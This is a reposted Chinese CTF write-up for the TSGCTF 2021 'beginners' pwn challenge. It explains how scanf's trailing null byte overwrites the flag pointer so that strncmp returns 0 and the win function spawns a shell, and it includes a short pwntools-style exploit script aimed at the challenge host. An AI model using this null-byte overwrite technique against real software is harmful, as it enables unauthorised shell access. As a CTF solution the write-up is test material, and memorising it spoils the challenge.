栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > C/C++/C#

TSGCTF 2021 beginners

C/C++/C# 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

TSGCTF 2021 beginners


程序逻辑很简单,ptr指针指向读进来的flag,s1是自己输入的字符串,通过strncmp判等,相等就能执行win函数。首先需要知道scanf("%s")在读取字符串的时候会在末尾加上一个’x00’来截断


看一下栈里的情况,s1与ptr的偏移是0x40,那么在输入s1时,只要输入长度大于0x40,就会在
0x40+1,也即ptr+1处写上一个’x00’
再看一下strncmp函数,比较两个字符串的前n位,若str1==str2,返回0,若str1>str2返回正数, 若
str1 事实上,strncmp的返回值是str1和str2第一个不相同位的ascii码的差值。
但重点是strncmp也会被‘x00’截断
因此只要让s1和ptr的第一位都是’x00‘,strncmp就会返回0,从而执行win函数getshell

from pwn_debug import * 
context.log_level = 'debug' 

pdbg = pwn_debug("./chall") 

pdbg.local("") 
pdbg.remote("34.146.101.4", 30007) 

p = pdbg.run("local") 
p.recv() 
p.sendline("x00"*(0x40)) 
p.interactive()	

tips:最开始以为c语言中非一个负值会得到正值,所以一直想着让strncmp返回一个负值就能执行win。捯饬了半天也打不通,最后发现c语言中非负值得到的也是0。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/291040.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号